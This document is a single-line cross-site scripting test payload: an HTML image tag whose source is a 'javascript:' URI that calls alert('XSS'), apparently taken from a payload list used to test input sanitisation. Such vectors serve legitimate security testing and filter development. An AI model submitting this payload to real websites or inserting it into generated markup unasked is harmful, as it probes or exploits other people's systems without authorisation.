<img src="javascript:alert('XSS')">